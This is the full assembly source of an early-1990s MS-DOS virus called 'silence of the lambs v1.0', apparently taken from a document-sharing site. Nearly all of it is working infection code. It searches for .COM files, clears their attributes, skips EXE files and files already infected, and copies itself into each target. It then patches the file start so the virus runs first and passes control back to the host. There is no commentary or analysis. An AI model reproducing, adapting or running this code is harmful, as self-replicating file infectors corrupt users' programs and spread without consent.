Vous êtes sur la page 1sur 3

; silence of the lambs v1.

0
; (c) the chronomancer of demoralized youth 1992
;
; first version : thursday 27th of febuary - 01:50 cet.
;

org 100h
jmp short dummy1
db 'dy'
dummy1:
mov cx,(100h-80h)/2 ;save command line on stack
mov si,80h
save_parm:
push [si]
inc si
inc si
loop save_parm

mov ah,4eh
xor cx,cx
mov dx,offset file
int 21h
jc nomore
again:
cmp byte [9eh],0fah
jae more
call infect
more:
mov ah,4fh
int 21h
jnc again
nomore:
mov cx,(100h-80h)/2
mov si,0feh
rest_parm:
pop [si]
dec si
dec si
loop rest_parm

mov bx,0000h
eof equ $-2
jmp bx

file db '*.com',0

infect:
mov bx,cs
mov si,cs
dec si
mov ds,si
cmp byte[0],'z'
je ok_mark
jmp back2
ok_mark:
sub word [0003h],pgfsize
jnc ok_mark2
jmp back
ok_mark2:
mov ax,[0012h]
sub ax,pgfsize
push ax

mov ds,bx
mov ax,4301h
xor cx,cx
mov dx,80h+1eh
int 21h

mov ax,3d02h
int 21h
xchg bx,ax

pop ds
push ds
mov cx,total
xor dx,dx
mov ah,3fh
int 21h

cmp byte [0],'m' ;exe ?


je close
cmp byte [0],'z' ;exe ?
je close
cmp word [2],'yd' ;allready infected?
je close

xor cx,cx
xor dx,dx
push cx
push dx
mov ax,4202h
int 21h

add ax,total+100h
mov cs:word [00feh],ax

mov ah,40h
mov cx,total
xor dx,dx
int 21h

push cs
pop ds

mov ah,40h
mov cx,applen
mov dx,offset append
int 21h

mov ax,4200h
pop dx
pop cx
int 21h

push [eof]
mov ax,word [00feh]
mov [eof],ax

mov ah,40h
mov dx,100h
mov cx,total
int 21h

pop [eof]
close:
mov ah,3eh
int 21h
back:
pop ds ;(mov ds,si)
add word [0003h],pgfsize
back2:
push cs
pop ds
ret

append:
call $+3
pop si
sub si,3+total
mov di,100h
mov cx,total
rep movsb
mov ax,100h
push ax
ret
applen equ $-offset append

total equ $-100h ;size


pgfsize equ ($-100h)/16+2 ;paragraphs needed

Vous aimerez peut-être aussi